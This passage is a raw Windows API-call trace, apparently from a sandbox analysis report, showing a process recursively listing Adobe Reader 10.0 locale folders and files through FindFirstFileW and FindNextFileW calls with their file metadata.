lpFindFileData=0x327eb9c | out: lpFindFileData=0x327eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9049, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0147.969] FindClose (in: hFindFile=0x4191680 | out: hFindFile=0x4191680) returned 1 [0147.969] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x4180058 | out: hHeap=0x300000) returned 1 [0147.969] FindNextFileW (in: hFindFile=0x4191100, lpFindFileData=0x327ee18 | out: lpFindFileData=0x327ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e0106a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.HRV", cAlternateFileName="")) returned 1 [0147.969] FindClose (in: hFindFile=0x4191100 | out: hFindFile=0x4191100) returned 1 [0147.969] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x424cf18 | out: hHeap=0x300000) returned 1 [0147.969] FindNextFileW (in: hFindFile=0x4191140, lpFindFileData=0x327f094 | out: lpFindFileData=0x327f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832c8320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832c8320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu_HU", cAlternateFileName="")) returned 1 [0147.969] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\*", lpFindFileData=0x327ee18 | out: lpFindFileData=0x327ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832c8320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832c8320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191100 [0147.971] FindNextFileW (in: hFindFile=0x4191100, lpFindFileData=0x327ee18 | out: lpFindFileData=0x327ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832c8320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832c8320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0147.971] FindNextFileW (in: hFindFile=0x4191100, lpFindFileData=0x327ee18 | out: lpFindFileData=0x327ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db73c00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.HUN", cAlternateFileName="ACCESS~1.HUN")) returned 1 [0147.972] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\Services\\*", lpFindFileData=0x327eb9c | out: lpFindFileData=0x327eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191680 [0147.973] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x327eb9c | out: lpFindFileData=0x327eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0147.973] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x327eb9c | out: lpFindFileData=0x327eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9598, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0147.973] FindClose (in: hFindFile=0x4191680 | out: hFindFile=0x4191680) returned 1 [0147.973] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x4180058 | out: hHeap=0x300000) returned 1 [0147.973] FindNextFileW (in: hFindFile=0x4191100, lpFindFileData=0x327ee18 | out: lpFindFileData=0x327ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dfea540, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.HUN", cAlternateFileName="")) returned 1 [0147.973] FindClose (in: hFindFile=0x4191100 | out: hFindFile=0x4191100) returned 1 [0147.973] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x424cf18 | out: hHeap=0x300000) returned 1 [0147.973] FindNextFileW (in: hFindFile=0x4191140, lpFindFileData=0x327f094 | out: lpFindFileData=0x327f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d63ebe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82f5c380, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82f5c380, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it_IT", cAlternateFileName="")) returned 1 [0147.973] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\*", lpFindFileData=0x327ee18 | out: lpFindFileData=0x327ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d63ebe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82f5c380, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82f5c380, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191100 [0147.975] FindNextFileW (in: hFindFile=0x4191100, lpFindFileData=0x327ee18 | out: lpFindFileData=0x327ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d63ebe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82f5c380, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82f5c380, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0147.976] FindNextFileW (in: hFindFile=0x4191100, lpFindFileData=0x327ee18 | out: lpFindFileData=0x327ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d984a20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb200, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.ITA", cAlternateFileName="ACCESS~1.ITA")) returned 1 [0147.976] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\Services\\*", lpFindFileData=0x327eb9c | out: lpFindFileData=0x327eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191680 [0147.977] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x327eb9c | out: lpFindFileData=0x327eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0147.977] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x327eb9c | out: lpFindFileData=0x327eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x8fdd, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0147.977] FindClose (in: hFindFile=0x4191680 | out: hFindFile=0x4191680) returned 1 [0147.978] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x4180058 | out: hHeap=0x300000) returned 1 [0147.978] FindNextFileW (in: hFindFile=0x4191100, lpFindFileData=0x327ee18 | out: lpFindFileData=0x327ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddd5200, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.ITA", cAlternateFileName="")) returned 1 [0147.978] FindClose (in: hFindFile=0x4191100 | out: hFindFile=0x4191100) returned 1 [0147.978] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x424cf18 | out: hHeap=0x300000) returned 1 [0147.978] FindNextFileW (in: hFindFile=0x4191140, lpFindFileData=0x327f094 | out: lpFindFileData=0x327f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82f5c380, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82f5c380, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja_JP", cAlternateFileName="")) returned 1 [0147.978] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\*", lpFindFileData=0x327ee18 | out: lpFindFileData=0x327ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82f5c380, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82f5c380, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191100 [0147.980] FindNextFileW (in: hFindFile=0x4191100, lpFindFileData=0x327ee18 | out: lpFindFileData=0x327ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82f5c380, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82f5c380, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0147.980] FindNextFileW (in: hFindFile=0x4191100, lpFindFileData=0x327ee18 | out: lpFindFileData=0x327ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d9aab80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.JPN", cAlternateFileName="ACCESS~1.JPN")) returned 1 [0147.981] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\Services\\*", lpFindFileData=0x327eb9c | out: lpFindFileData=0x327eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191680 [0147.981] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x327eb9c | out: lpFindFileData=0x327eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0147.981] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x327eb9c | out: lpFindFileData=0x327eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0147.982] FindClose (in: hFindFile=0x4191680 | out: hFindFile=0x4191680) returned 1 [0147.982] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x4180058 | out: hHeap=0x300000) returned 1 [0147.982] FindNextFileW (in: hFindFile=0x4191100, lpFindFileData=0x327ee18 | out: lpFindFileData=0x327ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddd5200, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.JPN", cAlternateFileName="")) returned 1 [0147.982] FindClose (in: hFindFile=0x4191100 | out: hFindFile=0x4191100) returned 1 [0147.982] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x424cf18 | out: hHeap=0x300000) returned 1 [0147.982] FindNextFileW (in: hFindFile=0x4191140, lpFindFileData=0x327f094 | out: lpFindFileData=0x327f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d6d7160, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ee9f60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ee9f60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko_KR", cAlternateFileName="")) returned 1 [0147.982] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\*", lpFindFileData=0x327ee18 | out: lpFindFileData=0x327ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d6d7160, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ee9f60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ee9f60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191680 [0148.185] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x327ee18 | out: lpFindFileData=0x327ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d6d7160, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ee9f60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ee9f60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.185] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x327ee18 | out: lpFindFileData=0x327ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d9aab80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.KOR", cAlternateFileName="ACCESS~1.KOR")) returned 1 [0148.186] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\Services\\*", lpFindFileData=0x327eb9c | out: lpFindFileData=0x327eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191700 [0148.186] FindNextFileW (in: hFindFile=0x4191700, lpFindFileData=0x327eb9c | out: lpFindFileData=0x327eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.186] FindNextFileW (in: hFindFile=0x4191700, lpFindFileData=0x327eb9c | out: lpFindFileData=0x327eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x95f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0148.186] FindClose (in: hFindFile=0x4191700 | out: hFindFile=0x4191700) returned 1 [0148.186] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x42adf70 | out: hHeap=0x300000) returned 1 [0148.187] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x327ee18 | out: lpFindFileData=0x327ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddfb360, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.KOR", cAlternateFileName="")) returned 1 [0148.187] FindClose (in: hFindFile=0x4191680 | out: hFindFile=0x4191680) returned 1 [0148.187] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x424cf18 | out: hHeap=0x300000) returned 1 [0148.187] FindNextFileW (in: hFindFile=0x4191140, lpFindFileData=0x327f094 | out: lpFindFileData=0x327f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ec3e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ec3e00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb_NO", cAlternateFileName="")) returned 1 [0148.187] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\*", lpFindFileData=0x327ee18 | out: lpFindFileData=0x327ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ec3e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ec3e00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191680 [0148.187] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x327ee18 | out: lpFindFileData=0x327ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ec3e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ec3e00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.187] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x327ee18 | out: lpFindFileData=0x327ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d9aab80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa400, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.NOR", cAlternateFileName="ACCESS~1.NOR")) returned 1 [0148.188] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\Services\\*", lpFindFileData=0x327eb9c | out: lpFindFileData=0x327eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191700 [0148.188] FindNextFileW (in: hFindFile=0x4191700, lpFindFileData=0x327eb9c | out: lpFindFileData=0x327eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.188] FindNextFileW (in: hFindFile=0x4191700, lpFindFileData=0x327eb9c | out: lpFindFileData=0x327eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x8b6b, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0148.188] FindClose (in: hFindFile=0x4191700 | out: hFindFile=0x4191700) returned 1 [0148.188] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x42adf70 | out: hHeap=0x300000) returned 1 [0148.189] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x327ee18 | out: lpFindFileData=0x327ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddd5200, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.NOR", cAlternateFileName="")) returned 1 [0148.189] FindClose (in: hFindFile=0x4191680 | out: hFindFile=0x4191680) returned 1 [0148.189] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x424cf18 | out: hHeap=0x300000) returned 1 [0148.189] 